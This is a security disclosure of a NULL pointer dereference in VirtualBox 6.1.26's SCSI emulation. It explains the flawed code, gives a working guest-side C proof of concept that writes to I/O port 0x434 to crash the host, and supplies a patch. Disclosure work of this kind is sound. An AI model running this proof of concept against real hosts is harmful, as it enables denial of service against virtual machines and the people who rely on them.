|=----------------------------------------------------------------------------=| |=-----------------------=[ Vulnerability Disclosure ]=-----------------------=| |=-----------------=[ VBox/SCSI: NULL Pointer Dereference ]=------------------=| |=----------------------------------------------------------------------------=| |=-----------------------=[ Thu 07 Oct 2021 15:36:03 ]=-----------------------=| |=--------------=[ https://qiuhao.org/BR_VBox_SCSI_CWE-476.txt ]=-------------=| |=----------------------------------------------------------------------------=| -- [ Description In VBoxSCSI.cpp:vboxscsiWriteRegister(), when pVBoxSCSI->uTxDir != VBOXSCSI_TXDIR_TO_DEVICE or RTMemAllocZ return NULL, the pVBoxSCSI->cbBufLeft still be set to pVBoxSCSI->cbBuf which controlled by the guest: else if (pVBoxSCSI->enmState == VBOXSCSISTATE_READ_COMMAND) { pVBoxSCSI->abCDB[pVBoxSCSI->iCDB] = uVal; pVBoxSCSI->iCDB++; /* Check if we have all necessary command data. */ if (pVBoxSCSI->iCDB == pVBoxSCSI->cbCDB) { Log(("%s: Command ready for processing\n", __FUNCTION__)); pVBoxSCSI->enmState = VBOXSCSISTATE_COMMAND_READY; <---- pVBoxSCSI->cbBufLeft = pVBoxSCSI->cbBuf; <---- if (pVBoxSCSI->uTxDir == VBOXSCSI_TXDIR_TO_DEVICE) { /* This is a write allocate buffer. */ pVBoxSCSI->pbBuf = (uint8_t *)RTMemAllocZ(pVBoxSCSI->cbBuf); if (!pVBoxSCSI->pbBuf) return VERR_NO_MEMORY; } However, later when pVBoxSCSI->pbBuf is being used, only pVBoxSCSI->enmState and pVBoxSCSI->cbBufLeft are checked, for example in vboxscsiReadRegister(): if ( pVBoxSCSI->enmState == VBOXSCSISTATE_COMMAND_READY <---- && pVBoxSCSI->cbBufLeft > 0) <---- { AssertMsg(pVBoxSCSI->pbBuf, ("pBuf is NULL\n")); // Ignored in release Assert(!pVBoxSCSI->fBusy); uVal = pVBoxSCSI->pbBuf[pVBoxSCSI->iBuf]; pVBoxSCSI->iBuf++; pVBoxSCSI->cbBufLeft--; This can lead to NULL pointer dereference (DoS). -- [ Affected Versions VirtualBox 6.1.26 (previous versions may also be affected). -- [ Reproduce Guest: Ubuntu 21.04, Linux 5.11.0-36 x86_64, gcc 10.3.0, glibc 2.33. Host: VirtualBox 6.1.26 r145957, Storage Controller LsiLogic. ```bash qiuhao@qiuhao-VirtualBox:~$ cat ioport.c #include #include #include #define LSILOGIC_BIOS_IO_PORT 0x434 int main() { if(ioperm(LSILOGIC_BIOS_IO_PORT, 4, 1)) { perror("ioperm"); exit(EXIT_FAILURE); } // vboxscsiWriteRegister() // reset outb(0, LSILOGIC_BIOS_IO_PORT + 3); // VBOXSCSISTATE_READ_TXDIR outb(0, LSILOGIC_BIOS_IO_PORT); // VBOXSCSISTATE_READ_CDB_SIZE_BUFHI // uVal = VBOXSCSI_TXDIR_FROM_DEVICE outb(0, LSILOGIC_BIOS_IO_PORT); // VBOXSCSISTATE_READ_BUFFER_SIZE_LSB outb(0xF1, LSILOGIC_BIOS_IO_PORT); // VBOXSCSISTATE_READ_BUFFER_SIZE_MID outb(0xFF, LSILOGIC_BIOS_IO_PORT); // VBOXSCSISTATE_READ_COMMAND outb(0xFF, LSILOGIC_BIOS_IO_PORT); // VBOXSCSISTATE_COMMAND_READY outb(0, LSILOGIC_BIOS_IO_PORT); // vboxscsiReadRegister() char tmp = 0; tmp = inb(LSILOGIC_BIOS_IO_PORT + 1); return 0; } qiuhao@qiuhao-VirtualBox:~$ gcc -o ioport ioport.c && sudo ./ioport # CRASH ``` -- [ Mitigation & Patch Set cbBufLeft only when RTMemAllocZ() allocates the buffer successfully. --- VBoxSCSI.cpp 2021-10-07 16:15:01.589830971 +0800 +++ VBoxSCSI.fix.cpp 2021-10-07 16:16:44.744125571 +0800 @@ -239,13 +239,13 @@ { Log(("%s: Command ready for processing\n", __FUNCTION__)); pVBoxSCSI->enmState = VBOXSCSISTATE_COMMAND_READY; - pVBoxSCSI->cbBufLeft = pVBoxSCSI->cbBuf; if (pVBoxSCSI->uTxDir == VBOXSCSI_TXDIR_TO_DEVICE) { /* This is a write allocate buffer. */ pVBoxSCSI->pbBuf = (uint8_t *)RTMemAllocZ(pVBoxSCSI->cbBuf); if (!pVBoxSCSI->pbBuf) return VERR_NO_MEMORY; + pVBoxSCSI->cbBufLeft = pVBoxSCSI->cbBuf; } else { Update, Wed, 20 Oct 2021 13:46:31 +0800: CVE ID: https://www.oracle.com/security-alerts/cpuoct2021.html